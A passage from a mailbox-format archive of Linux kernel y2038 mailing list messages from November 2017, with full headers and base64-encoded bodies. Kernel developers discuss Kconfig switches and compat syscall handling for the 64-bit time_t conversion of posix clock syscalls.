Xref: news.gmane.org gmane.linux.kernel.year-2038:2302 gmane.linux.ports.mips.general:62217 gmane.linux.ports.sparc:26902 gmane.linux.oprofile:13108 gmane.linux.kernel.cross-arch:40170 gmane.linux.ports.parisc:27998 gmane.linux.kernel:2619192 gmane.linux.kernel.api:25751 gmane.linux.ports.ppc64.devel:150377
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.year-2038/2302>

T24gRnJpLCAxNyBOb3YgMjAxNywgQXJuZCBCZXJnbWFubiB3cm90ZToKPiBPbiBUaHUsIE5vdiAx
NiwgMjAxNyBhdCAxMDowNCBBTSwgVGhvbWFzIEdsZWl4bmVyIDx0Z2x4QGxpbnV0cm9uaXguZGU+
IHdyb3RlOgo+ID4gT24gV2VkLCAxNSBOb3YgMjAxNywgRGVlcGEgRGluYW1hbmkgd3JvdGU6Cj4g
Pj4gV291bGQgdGhpcyB3b3JrIGZvciBldmVyeW9uZT8KPiA+Cj4gPiBIYXZpbmcgZXh0cmEgY29u
ZmlnIHN3aXRjaGVzIHdoaWNoIGFyZSBzZWxlY3RhYmxlIGJ5IGFyY2hpdGVjdHVyZXMgYW5kCj4g
PiByZW1vdmVkIHdoZW4gZXZlcnl0aGluZyBpcyBjb252ZXJ0ZWQgaXMgZGVmaW5pdGVseSB0aGUg
cmlnaHQgd2F5IHRvIGdvLgo+ID4KPiA+IFRoYXQgYWxsb3dzIHlvdSB0byBncmFkdWFsbHkgY29u
dmVydCBzdHVmZiB3L28gaW5mbGljdGluZyB3cmVja2FnZSBhbGwgb3Zlcgo+ID4gdGhlIHBsYWNl
Lgo+IAo+IFRoZSBDT05GSUdfNjRCSVRfVElNRSB3b3VsZCBkbyB0aGF0IG5pY2VseSBmb3IgdGhl
IG5ldyBzdHVmZiBsaWtlCj4gdGhlIGNvbmRpdGlvbmFsIGRlZmluaXRpb24gb2YgX19rZXJuZWxf
dGltZXNwZWMsIHRoaXMgb25lIHdvdWxkIGdldAo+IHJlbW92ZWQgYWZ0ZXIgd2UgY29udmVydCBh
bGwgYXJjaGl0ZWN0dXJlcy4KPiAKPiBBIHNlY29uZCBpc3N1ZSBpcyBob3cgdG8gY29udHJvbCB0
aGUgY29tcGlsYXRpb24gb2YgdGhlIGNvbXBhdCBzeXNjYWxscy4KPiBDT05GSUdfQ09NUEFUXzMy
QklUX1RJTUUgaGFuZGxlcyB0aGF0IGFuZCBjb3VsZCBiZSBkZWZpbmVkCj4gaW4gS2NvbmZpZyBh
cyAnZGVmX2Jvb2wgKCE2NEJJVCAmJiBDT05GSUdfNjRCSVRfVElNRSkgfHwgQ09NUEFUJywKPiB0
aGlzIGlzIHRoZW4ganVzdCBhIG1vcmUgcmVhZGFibGUgd2F5IG9mIGV4cHJlc3NpbmcgZXhhY3Rs
eSB3aGVuIHRoZQo+IGZ1bmN0aW9ucyBzaG91bGQgYmUgYnVpbHQuCj4gCj4gRm9yIGNvbXBsZXRl
bmVzcywgdGhlcmUgbWF5IGJlIGEgdGhpcmQgY2F0ZWdvcnksIGRlcGVuZGluZyBvbiBob3cKPiB3
ZSBoYW5kbGUgdGhpbmdzIGxpa2Ugc3lzX25hbm9zbGVlcCgpOiBIZXJlLCB3ZSB3YW50IHRoZSBu
YXRpdmUKPiBzeXNfbmFub3NsZWVwIG9uIDY0LWJpdCBhcmNoaXRlY3R1cmVzLCBhbmQgY29tcGF0
X3N5c19uYW5vc2xlZXAoKQo+IHRvIGhhbmRsZSB0aGUgMzItYml0IHRpbWVfdCB2YXJpYW50IG9u
IGJvdGggMzItYml0IGFuZCA2NC1iaXQgdGFyZ2V0cywKPiBidXQgb3VyIHBsYW4gaXMgdG8gbm90
IGhhdmUgYSBuYXRpdmUgMzItYml0IHN5c19uYW5vc2xlZXAgb24gMzItYml0Cj4gYXJjaGl0ZWN0
dXJlcyBhbnkgbW9yZSwgYXMgbmV3IGdsaWJjIHNob3VsZCBjYWxsIGNsb2NrX25hbm9zbGVlcCgp
Cj4gd2l0aCBhIG5ldyBzeXNjYWxsIG51bWJlciBpbnN0ZWFkLiBTaG91bGQgd2UgdGhlbiBlbmNs
b3NlCgpJc24ndCB0aGF0IGdvaW5nIHRvIGJyZWFrIGV4aXN0aW5nIHVzZXJzcGFjZT8KClRoYW5r
cwoKCXRnbHgKX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX18K
WTIwMzggbWFpbGluZyBsaXN0ClkyMDM4QGxpc3RzLmxpbmFyby5vcmcKaHR0cHM6Ly9saXN0cy5s
aW5hcm8ub3JnL21haWxtYW4vbGlzdGluZm8veTIwMzgK


From - Thu Nov 08 21:40:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Arnd Bergmann <arnd@arndb.de>
Newsgroups: gmane.linux.kernel.year-2038,gmane.linux.ports.mips.general,gmane.linux.ports.sparc,gmane.linux.oprofile,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.api,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 0/9] posix_clocks: Prepare syscalls for 64 bit
	time_t conversion
Date: Fri, 17 Nov 2017 10:31:34 +0100
Lines: 36
Approved: news@gmane.org
Message-ID: <CAK8P3a3fcVKTwoqN0CxYchzcFqUZPBeko=oYsA9eNxu4bQoYyw@mail.gmail.com>
References: <20171110224259.15930-1-deepa.kernel@gmail.com>
 <CAK8P3a2uD=xV5GKtL+nhVoPckb6uoXztEvXK-iP_OYbct8QvJA@mail.gmail.com>
 <CABeXuvpy1jbqjeUFHHX-MrJXQLA2QNYbAa6OX7qOpPp4q-mQYQ@mail.gmail.com>
 <alpine.DEB.2.20.1711160958430.2191@nanos>
 <CAK8P3a0wxs59T1zW4ahbJXeW6QjStm0mbCFoL_RQexAa6dzh_w@mail.gmail.com>
 <alpine.DEB.2.20.1711170954000.1709@nanos>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: base64
X-Trace: blaine.gmane.org 1510911108 32393 195.159.176.226 (17 Nov 2017 09:31:48 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 17 Nov 2017 09:31:48 +0000 (UTC)
Cc: Mark Rutland <mark.rutland@arm.com>,
 "open list:RALINK MIPS ARCHITECTURE" <linux-mips@linux-mips.org>,
 Peter Zijlstra <peterz@infradead.org>,
 Benjamin Herrenschmidt <benh@kernel.crashing.org>,
 Stefan Haberland <sth@linux.vnet.ibm.com>,
 Heiko Carstens <heiko.carstens@de.ibm.com>, Paul Mackerras <paulus@samba.org>,
 Deepa Dinamani <deepa.kernel@gmail.com>, "H. Peter Anvin" <hpa@zytor.com>,
 sparclinux <sparclinux@vger.kernel.org>, devel@driverdev.osuosl.org,
 linux-s390 <linux-s390@vger.kernel.org>,
 y2038 Mailman List <y2038@lists.linaro.org>,
 Michael Ellerman <mpe@ellerman.id.au>, Helge Deller <deller@gmx.de>,
 the arch/x86 maintainers <x86@kernel.org>, sebott@linux.vnet.ibm.com,
 "James E.J. Bottomley" <jejb@parisc-linux.org>,
 Will Deacon <will.deacon@arm.com>,
 Christian Borntraeger <borntraeger@de.ibm.com>, Ingo Molnar <mingo@redhat.com>,
 oprofile-list@lists.sf.net, Catali
To: Thomas Gleixner <tglx@linutronix.de>
Original-X-From: y2038-bounces@lists.linaro.org Fri Nov 17 10:31:39 2017
Return-path: <y2038-bounces@lists.linaro.org>
Envelope-to: glky-y2038@m.gmane.org
Original-Received: from ec2-54-197-127-237.compute-1.amazonaws.com ([54.197.127.237] helo=lists.linaro.org)
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <y2038-bounces@lists.linaro.org>)
	id 1eFczr-0007zR-EG
	for glky-y2038@m.gmane.org; Fri, 17 Nov 2017 10:31:39 +0100
Original-Received: by lists.linaro.org (Postfix, from userid 109)
	id C456B607E1; Fri, 17 Nov 2017 09:31:46 +0000 (UTC)
Original-Received: from [127.0.0.1] (localhost [127.0.0.1])
	by lists.linaro.org (Postfix) with ESMTP id 4F0BC607AD;
	Fri, 17 Nov 2017 09:31:38 +0000 (UTC)
X-Original-To: y2038@lists.linaro.org
Delivered-To: y2038@lists.linaro.org
Original-Received: by lists.linaro.org (Postfix, from userid 109)
 id 126AC607AD; Fri, 17 Nov 2017 09:31:37 +0000 (UTC)
Original-Received: from mail-oi0-f65.google.com (mail-oi0-f65.google.com
 [209.85.218.65])
 by lists.linaro.org (Postfix) with ESMTPS id 0BAF66068B
 for <y2038@lists.linaro.org>; Fri, 17 Nov 2017 09:31:36 +0000 (UTC)
Original-Received: by mail-oi0-f65.google.com with SMTP id y206so1241724oiy.4
 for <y2038@lists.linaro.org>; Fri, 17 Nov 2017 01:31:36 -0800 (PST)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=1e100.net; s=20161025;
 h=x-gm-message-state:mime-version:sender:in-reply-to:references:from
 :date:message-id:subject:to:cc;
 bh=/FWYvKlOvJyvOBQELQQ+EyMq7FdSRPi8XDHjUPM760I=;
 b=S+cH1QIpq4VC1gRR2twoInMTjeQPx024J/pf5kYlSjxGummsxUs7A01zI7/z/d1gZ5
 9WnHtKgnsn5KJK6SbiMuWRnpnI77cu4u7uphW/RYTuvyixgKXMxUXPSwRJYjlCAZAN3U
 GBXbQu0f12tjsMVDiNzAyIn8CthVk0tIwZInyKDpSUcPaa7GQ3IonLHS9t28p3L6son/
 MgfXY/T6OBHMAlB6Yv6jCmf0B+FOPVQUjDpIOGHSA3l0Eseb+pWdjwwu+gV9AMs/qYJC
 0dKwX0L+OB5dvLc8NA46poQgr3OZ6RNbXQYULgDNoUX6SwxXVyMRBJOikgTGiF1h3lCH
 Ok2w==
X-Gm-Message-State: AJaThX6tPEREGt8LwxmLWCUZjilum6se2rL53KrWSQRHhfIowYMJo4h2
 oGEGI8VXFJA2idunyEH+M62TdHwMXZlitkvaV6I7IQ==
X-Google-Smtp-Source: AGs4zMZ8O8ZKsHxZOzWGLqmjAi6bTpOeOz9JRrKpAxVy9+goAPc8Ls2RIKP4ZQ2solSAjvh7wAfKcJ4rwbTwwih4jjg=
X-Received: by 10.202.62.198 with SMTP id l189mr756674oia.281.1510911095452;
 Fri, 17 Nov 2017 01:31:35 -0800 (PST)
Original-Received: by 10.157.43.3 with HTTP; Fri, 17 Nov 2017 01:31:34 -0800 (PST)
In-Reply-To: <alpine.DEB.2.20.1711170954000.1709@nanos>
X-Google-Sender-Auth: 6a0viZRogiMxMrsAk-G1-FnYDUA
X-BeenThere: y2038@lists.linaro.org
X-Mailman-Version: 2.1.16
Precedence: list
List-Id: <y2038.lists.linaro.org>
List-Unsubscribe: <https://lists.linaro.org/mailman/options/y2038>,
 <mailto:y2038-request@lists.linaro.org?subject=unsubscribe>
List-Archive: <http://lists.linaro.org/pipermail/y2038/>
List-Post: <mailto:y2038@lists.linaro.org>
List-Help: <mailto:y2038-request@lists.linaro.org?subject=help>
List-Subscribe: <https://lists.linaro.org/mailman/listinfo/y2038>,
 <mailto:y2038-request@lists.linaro.org?subject=subscribe>
Errors-To: y2038-bounces@lists.linaro.org
Original-Sender: "Y2038" <y2038-bounces@lists.linaro.org>
Xref: news.gmane.org gmane.linux.kernel.year-2038:2303 gmane.linux.ports.mips.general:62218 gmane.linux.ports.sparc:26903 gmane.linux.oprofile:13109 gmane.linux.kernel.cross-arch:40171 gmane.linux.ports.parisc:27999 gmane.linux.kernel:2619210 gmane.linux.kernel.api:25752 gmane.linux.ports.ppc64.devel:150378
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.year-2038/2303>

T24gRnJpLCBOb3YgMTcsIDIwMTcgYXQgOTo1OCBBTSwgVGhvbWFzIEdsZWl4bmVyIDx0Z2x4QGxp
bnV0cm9uaXguZGU+IHdyb3RlOgo+IE9uIEZyaSwgMTcgTm92IDIwMTcsIEFybmQgQmVyZ21hbm4g
d3JvdGU6Cj4+IE9uIFRodSwgTm92IDE2LCAyMDE3IGF0IDEwOjA0IEFNLCBUaG9tYXMgR2xlaXhu
ZXIgPHRnbHhAbGludXRyb25peC5kZT4gd3JvdGU6Cj4+ID4gT24gV2VkLCAxNSBOb3YgMjAxNywg
RGVlcGEgRGluYW1hbmkgd3JvdGU6Cj4+ID4+IFdvdWxkIHRoaXMgd29yayBmb3IgZXZlcnlvbmU/
Cj4+ID4KPj4gPiBIYXZpbmcgZXh0cmEgY29uZmlnIHN3aXRjaGVzIHdoaWNoIGFyZSBzZWxlY3Rh
YmxlIGJ5IGFyY2hpdGVjdHVyZXMgYW5kCj4+ID4gcmVtb3ZlZCB3aGVuIGV2ZXJ5dGhpbmcgaXMg
Y29udmVydGVkIGlzIGRlZmluaXRlbHkgdGhlIHJpZ2h0IHdheSB0byBnby4KPj4gPgo+PiA+IFRo
YXQgYWxsb3dzIHlvdSB0byBncmFkdWFsbHkgY29udmVydCBzdHVmZiB3L28gaW5mbGljdGluZyB3
cmVja2FnZSBhbGwgb3Zlcgo+PiA+IHRoZSBwbGFjZS4KPj4KPj4gVGhlIENPTkZJR182NEJJVF9U
SU1FIHdvdWxkIGRvIHRoYXQgbmljZWx5IGZvciB0aGUgbmV3IHN0dWZmIGxpa2UKPj4gdGhlIGNv
bmRpdGlvbmFsIGRlZmluaXRpb24gb2YgX19rZXJuZWxfdGltZXNwZWMsIHRoaXMgb25lIHdvdWxk
IGdldAo+PiByZW1vdmVkIGFmdGVyIHdlIGNvbnZlcnQgYWxsIGFyY2hpdGVjdHVyZXMuCj4+Cj4+
IEEgc2Vjb25kIGlzc3VlIGlzIGhvdyB0byBjb250cm9sIHRoZSBjb21waWxhdGlvbiBvZiB0aGUg
Y29tcGF0IHN5c2NhbGxzLgo+PiBDT05GSUdfQ09NUEFUXzMyQklUX1RJTUUgaGFuZGxlcyB0aGF0
IGFuZCBjb3VsZCBiZSBkZWZpbmVkCj4+IGluIEtjb25maWcgYXMgJ2RlZl9ib29sICghNjRCSVQg
JiYgQ09ORklHXzY0QklUX1RJTUUpIHx8IENPTVBBVCcsCj4+IHRoaXMgaXMgdGhlbiBqdXN0IGEg
bW9yZSByZWFkYWJsZSB3YXkgb2YgZXhwcmVzc2luZyBleGFjdGx5IHdoZW4gdGhlCj4+IGZ1bmN0
aW9ucyBzaG91bGQgYmUgYnVpbHQuCj4+Cj4+IEZvciBjb21wbGV0ZW5lc3MsIHRoZXJlIG1heSBi
ZSBhIHRoaXJkIGNhdGVnb3J5LCBkZXBlbmRpbmcgb24gaG93Cj4+IHdlIGhhbmRsZSB0aGluZ3Mg
bGlrZSBzeXNfbmFub3NsZWVwKCk6IEhlcmUsIHdlIHdhbnQgdGhlIG5hdGl2ZQo+PiBzeXNfbmFu
b3NsZWVwIG9uIDY0LWJpdCBhcmNoaXRlY3R1cmVzLCBhbmQgY29tcGF0X3N5c19uYW5vc2xlZXAo
KQo+PiB0byBoYW5kbGUgdGhlIDMyLWJpdCB0aW1lX3QgdmFyaWFudCBvbiBib3RoIDMyLWJpdCBh
bmQgNjQtYml0IHRhcmdldHMsCj4+IGJ1dCBvdXIgcGxhbiBpcyB0byBub3QgaGF2ZSBhIG5hdGl2
ZSAzMi1iaXQgc3lzX25hbm9zbGVlcCBvbiAzMi1iaXQKPj4gYXJjaGl0ZWN0dXJlcyBhbnkgbW9y
ZSwgYXMgbmV3IGdsaWJjIHNob3VsZCBjYWxsIGNsb2NrX25hbm9zbGVlcCgpCj4+IHdpdGggYSBu
ZXcgc3lzY2FsbCBudW1iZXIgaW5zdGVhZC4gU2hvdWxkIHdlIHRoZW4gZW5jbG9zZQo+Cj4gSXNu
J3QgdGhhdCBnb2luZyB0byBicmVhayBleGlzdGluZyB1c2Vyc3BhY2U/CgpObywgc3lzY2FsbCB0
aGF0IGV4aXN0aW5nIDMyLWJpdCB1c2VyIHNwYWNlIGVudGVycyB3b3VsZCBiZSBoYW5kbGVkIGJ5
CmNvbXBhdF9zeXNfbmFub3NsZWVwKCkgb24gYm90aCAzMi1iaXQgYW5kIDY0LWJpdCBrZXJuZWxz
IGF0IHRoYXQKcG9pbnQuIFRoZSBpZGVhIGhlcmUgaXMgdG8gbWFrZSB0aGUgY29kZSBwYXRoIG1v
cmUgdW5pZm9ybSBiZXR3ZWVuCjMyLWJpdCBhbmQgNjQtYml0IGtlcm5lbHMuCgogICAgICBBcm5k
Cl9fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fClkyMDM4IG1h
aWxpbmcgbGlzdApZMjAzOEBsaXN0cy5saW5hcm8ub3JnCmh0dHBzOi8vbGlzdHMubGluYXJvLm9y
Zy9tYWlsbWFuL2xpc3RpbmZvL3kyMDM4Cg==


From - Thu Nov 08 21:40:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Thomas Gleixner <tglx@linutronix.de>
Newsgroups: gmane.linux.kernel.year-2038,gmane.linux.ports.mips.general,gmane.linux.ports.sparc,gmane.linux.oprofile,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.api,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 0/9] posix_clocks: Prepare syscalls for 64 bit
 time_t conversion
Date: Fri, 17 Nov 2017 10:54:07 +0100 (CET)
Lines: 47
Approved: news@gmane.org
Message-ID: <alpine.DEB.2.20.1711171049180.1709@nanos>
References: <20171110224259.15930-1-deepa.kernel@gmail.com>
 <CAK8P3a2uD=xV5GKtL+nhVoPckb6uoXztEvXK-iP_OYbct8QvJA@mail.gmail.com>
 <CABeXuvpy1jbqjeUFHHX-MrJXQLA2QNYbAa6OX7qOpPp4q-mQYQ@mail.gmail.com>
 <alpine.DEB.2.20.1711160958430.2191@nanos>
 <CAK8P3a0wxs59T1zW4ahbJXeW6QjStm0mbCFoL_RQexAa6dzh_w@mail.gmail.com>
 <alpine.DEB.2.20.1711170954000.1709@nanos>
 <CAK8P3a3fcVKTwoqN0CxYchzcFqUZPBeko=oYsA9eNxu4bQoYyw@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: base64
X-Trace: blaine.gmane.org 1510912468 5108 195.159.176.226 (17 Nov 2017 09:54:28 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 17 Nov 2017 09:54:28 +0000 (UTC)
User-Agent: Alpine 2.20 (DEB 67 2015-01-07)
Cc: Mark Rutland <mark.rutland@arm.com>,
 "open list:RALINK MIPS ARCHITECTURE" <linux-mips@linux-mips.org>,
 Peter Zijlstra <peterz@infradead.org>,
 Benjamin Herrenschmidt <benh@kernel.crashing.org>,
 Stefan Haberland <sth@linux.vnet.ibm.com>,
 Heiko Carstens <heiko.carstens@de.ibm.com>, Paul Mackerras <paulus@samba.org>,
 Deepa Dinamani <deepa.kernel@gmail.com>, "H. Peter Anvin" <hpa@zytor.com>,
 sparclinux <sparclinux@vger.kernel.org>, devel@driverdev.osuosl.org,
 linux-s390 <linux-s390@vger.kernel.org>,
 y2038 Mailman List <y2038@lists.linaro.org>,
 Michael Ellerman <mpe@ellerman.id.au>, Helge Deller <deller@gmx.de>,
 the arch/x86 maintainers <x86@kernel.org>, sebott@linux.vnet.ibm.com,
 "James E.J. Bottomley" <jejb@parisc-linux.org>,
 Will Deacon <will.deacon@arm.com>,
 Christian Borntraeger <borntraeger@de.ibm.com>, Ingo Molnar <mingo@redhat.com>,
 oprofile-list@lists.sf.net, Catali
To: Arnd Bergmann <arnd@arndb.de>
Original-X-From: y2038-bounces@lists.linaro.org Fri Nov 17 10:54:20 2017
Return-path: <y2038-bounces@lists.linaro.org>
Envelope-to: glky-y2038@m.gmane.org
Original-Received: from ec2-54-197-127-237.compute-1.amazonaws.com ([54.197.127.237] helo=lists.linaro.org)
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <y2038-bounces@lists.linaro.org>)
	id 1eFdLj-0000Zg-Uo
	for glky-y2038@m.gmane.org; Fri, 17 Nov 2017 10:54:16 +0100
Original-Received: by lists.linaro.org (Postfix, from userid 109)
	id 6A6C6607B8; Fri, 17 Nov 2017 09:54:23 +0000 (UTC)
Original-Received: from [127.0.0.1] (localhost [127.0.0.1])
	by lists.linaro.org (Postfix) with ESMTP id 3CCF16068B;
	Fri, 17 Nov 2017 09:54:19 +0000 (UTC)
X-Original-To: y2038@lists.linaro.org
Delivered-To: y2038@lists.linaro.org
Original-Received: by lists.linaro.org (Postfix, from userid 109)
 id 921696074A; Fri, 17 Nov 2017 09:54:17 +0000 (UTC)
Original-Received: from Galois.linutronix.de (Galois.linutronix.de [146.0.238.70])
 by lists.linaro.org (Postfix) with ESMTPS id 2C2516068B
 for <y2038@lists.linaro.org>; Fri, 17 Nov 2017 09:54:16 +0000 (UTC)
Original-Received: from hsi-kbw-5-158-153-52.hsi19.kabel-badenwuerttemberg.de
 ([5.158.153.52] helo=nanos)
 by Galois.linutronix.de with esmtpsa (TLS1.2:DHE_RSA_AES_256_CBC_SHA256:256)
 (Exim 4.80) (envelope-from <tglx@linutronix.de>)
 id 1eFdKp-0002sm-11; Fri, 17 Nov 2017 10:53:19 +0100
In-Reply-To: <CAK8P3a3fcVKTwoqN0CxYchzcFqUZPBeko=oYsA9eNxu4bQoYyw@mail.gmail.com>
X-BeenThere: y2038@lists.linaro.org
X-Mailman-Version: 2.1.16
Precedence: list
List-Id: <y2038.lists.linaro.org>
List-Unsubscribe: <https://lists.linaro.org/mailman/options/y2038>,
 <mailto:y2038-request@lists.linaro.org?subject=unsubscribe>
List-Archive: <http://lists.linaro.org/pipermail/y2038/>
List-Post: <mailto:y2038@lists.linaro.org>
List-Help: <mailto:y2038-request@lists.linaro.org?subject=help>
List-Subscribe: <https://lists.linaro.org/mailman/listinfo/y2038>,
 <mailto:y2038-request@lists.linaro.org?subject=subscribe>
Errors-To: y2038-bounces@lists.linaro.org
Original-Sender: "Y2038" <y2038-bounces@lists.linaro.org>
Xref: news.gmane.org gmane.linux.kernel.year-2038:2304 gmane.linux.ports.mips.general:62220 gmane.linux.ports.sparc:26904 gmane.linux.oprofile:13110 gmane.linux.kernel.cross-arch:40172 gmane.linux.ports.parisc:28000 gmane.linux.kernel:2619229 gmane.linux.kernel.api:25753 gmane.linux.ports.ppc64.devel:150379
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.year-2038/2304>

T24gRnJpLCAxNyBOb3YgMjAxNywgQXJuZCBCZXJnbWFubiB3cm90ZToKPiBPbiBGcmksIE5vdiAx
NywgMjAxNyBhdCA5OjU4IEFNLCBUaG9tYXMgR2xlaXhuZXIgPHRnbHhAbGludXRyb25peC5kZT4g
d3JvdGU6Cj4gPiBPbiBGcmksIDE3IE5vdiAyMDE3LCBBcm5kIEJlcmdtYW5uIHdyb3RlOgo+ID4+
IE9uIFRodSwgTm92IDE2LCAyMDE3IGF0IDEwOjA0IEFNLCBUaG9tYXMgR2xlaXhuZXIgPHRnbHhA
bGludXRyb25peC5kZT4gd3JvdGU6Cj4gPj4gPiBPbiBXZWQsIDE1IE5vdiAyMDE3LCBEZWVwYSBE
aW5hbWFuaSB3cm90ZToKPiA+PiA+PiBXb3VsZCB0aGlzIHdvcmsgZm9yIGV2ZXJ5b25lPwo+ID4+
ID4KPiA+PiA+IEhhdmluZyBleHRyYSBjb25maWcgc3dpdGNoZXMgd2hpY2ggYXJlIHNlbGVjdGFi
bGUgYnkgYXJjaGl0ZWN0dXJlcyBhbmQKPiA+PiA+IHJlbW92ZWQgd2hlbiBldmVyeXRoaW5nIGlz
IGNvbnZlcnRlZCBpcyBkZWZpbml0ZWx5IHRoZSByaWdodCB3YXkgdG8gZ28uCj4gPj4gPgo+ID4+
ID4gVGhhdCBhbGxvd3MgeW91IHRvIGdyYWR1YWxseSBjb252ZXJ0IHN0dWZmIHcvbyBpbmZsaWN0
aW5nIHdyZWNrYWdlIGFsbCBvdmVyCj4gPj4gPiB0aGUgcGxhY2UuCj4gPj4KPiA+PiBUaGUgQ09O
RklHXzY0QklUX1RJTUUgd291bGQgZG8gdGhhdCBuaWNlbHkgZm9yIHRoZSBuZXcgc3R1ZmYgbGlr
ZQo+ID4+IHRoZSBjb25kaXRpb25hbCBkZWZpbml0aW9uIG9mIF9fa2VybmVsX3RpbWVzcGVjLCB0
aGlzIG9uZSB3b3VsZCBnZXQKPiA+PiByZW1vdmVkIGFmdGVyIHdlIGNvbnZlcnQgYWxsIGFyY2hp
dGVjdHVyZXMuCj4gPj4KPiA+PiBBIHNlY29uZCBpc3N1ZSBpcyBob3cgdG8gY29udHJvbCB0aGUg
Y29tcGlsYXRpb24gb2YgdGhlIGNvbXBhdCBzeXNjYWxscy4KPiA+PiBDT05GSUdfQ09NUEFUXzMy
QklUX1RJTUUgaGFuZGxlcyB0aGF0IGFuZCBjb3VsZCBiZSBkZWZpbmVkCj4gPj4gaW4gS2NvbmZp
ZyBhcyAnZGVmX2Jvb2wgKCE2NEJJVCAmJiBDT05GSUdfNjRCSVRfVElNRSkgfHwgQ09NUEFUJywK
PiA+PiB0aGlzIGlzIHRoZW4ganVzdCBhIG1vcmUgcmVhZGFibGUgd2F5IG9mIGV4cHJlc3Npbmcg
ZXhhY3RseSB3aGVuIHRoZQo+ID4+IGZ1bmN0aW9ucyBzaG91bGQgYmUgYnVpbHQuCj4gPj4KPiA+
PiBGb3IgY29tcGxldGVuZXNzLCB0aGVyZSBtYXkgYmUgYSB0aGlyZCBjYXRlZ29yeSwgZGVwZW5k
aW5nIG9uIGhvdwo+ID4+IHdlIGhhbmRsZSB0aGluZ3MgbGlrZSBzeXNfbmFub3NsZWVwKCk6IEhl
cmUsIHdlIHdhbnQgdGhlIG5hdGl2ZQo+ID4+IHN5c19uYW5vc2xlZXAgb24gNjQtYml0IGFyY2hp
dGVjdHVyZXMsIGFuZCBjb21wYXRfc3lzX25hbm9zbGVlcCgpCj4gPj4gdG8gaGFuZGxlIHRoZSAz
Mi1iaXQgdGltZV90IHZhcmlhbnQgb24gYm90aCAzMi1iaXQgYW5kIDY0LWJpdCB0YXJnZXRzLAo+
ID4+IGJ1dCBvdXIgcGxhbiBpcyB0byBub3QgaGF2ZSBhIG5hdGl2ZSAzMi1iaXQgc3lzX25hbm9z
bGVlcCBvbiAzMi1iaXQKPiA+PiBhcmNoaXRlY3R1cmVzIGFueSBtb3JlLCBhcyBuZXcgZ2xpYmMg
c2hvdWxkIGNhbGwgY2xvY2tfbmFub3NsZWVwKCkKPiA+PiB3aXRoIGEgbmV3IHN5c2NhbGwgbnVt
YmVyIGluc3RlYWQuIFNob3VsZCB3ZSB0aGVuIGVuY2xvc2UKPiA+Cj4gPiBJc24ndCB0aGF0IGdv
aW5nIHRvIGJyZWFrIGV4aXN0aW5nIHVzZXJzcGFjZT8KPiAKPiBObywgc3lzY2FsbCB0aGF0IGV4
aXN0aW5nIDMyLWJpdCB1c2VyIHNwYWNlIGVudGVycyB3b3VsZCBiZSBoYW5kbGVkIGJ5Cj4gY29t
cGF0X3N5c19uYW5vc2xlZXAoKSBvbiBib3RoIDMyLWJpdCBhbmQgNjQtYml0IGtlcm5lbHMgYXQg
dGhhdAo+IHBvaW50LiBUaGUgaWRlYSBoZXJlIGlzIHRvIG1ha2UgdGhlIGNvZGUgcGF0aCBtb3Jl
IHVuaWZvcm0gYmV0d2Vlbgo+IDMyLWJpdCBhbmQgNjQtYml0IGtlcm5lbHMuCgpTbyBvbiBhIDMy
Yml0IHN5c3RlbSBjb21wYXRfc3lzX25hbm9zbGVlcCgpIHdvdWxkIGJlIHRoZSBsZWdhY3kKc3lz
X25hbm9zbGVlcCgpIHdpdGggdGhlIGV4aXN0aW5nIHN5c2NhbGwgbnVtYmVyLCBidXQgeW91IGRv
bid0IHdhbnQgdG8KaW50cm9kdWNlIGEgbmV3IHN5c19uYW5vc2xlZXA2NCgpIGZvciAzMmJpdC4g
VGhhdCBtYWtlcyBhIGxvdCBvZiBzZW5zZS4KClNvIGJhY2sgdG8geW91ciBvcmlnaW5hbCBxdWVz
dGlvbiB3aGV0aGVyIHRvIHVzZSAjaWYgKE1BR0lDIGxvZ2ljKSBvciBhCnNlcGFyYXRlIGNvbmZp
ZyBzeW1ib2wuIFBsZWFzZSB1c2UgdGhlIGxhdHRlciwgdGhlc2UgbWFnaWMgbG9naWMgY29uc3Ry
dWN0cwphcmUgaGFyZGVyIHRvIHJlYWQgYW5kIHByb25lIHRvIGdldCB3cm9uZyBhdCBzb21lIHBv
aW50LiBIYXZpbmcgdGhlCmRlY2lzaW9uIGxvZ2ljIGluIG9uZSBwbGFjZSBpcyBhbHdheXMgdGhl
IHJpZ2h0IHRoaW5nIHRvIGRvLgoKVGhhbmtzLAoKCXRnbHgKX19fX19fX19fX19fX19fX19fX19f
X19fX19fX19fX19fX19fX19fX19fX19fX18KWTIwMzggbWFpbGluZyBsaXN0ClkyMDM4QGxpc3Rz
LmxpbmFyby5vcmcKaHR0cHM6Ly9saXN0cy5saW5hcm8ub3JnL21haWxtYW4vbGlzdGluZm8veTIw
MzgK


From - Thu Nov 08 21:40:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Arnd Bergmann <arnd@arndb.de>
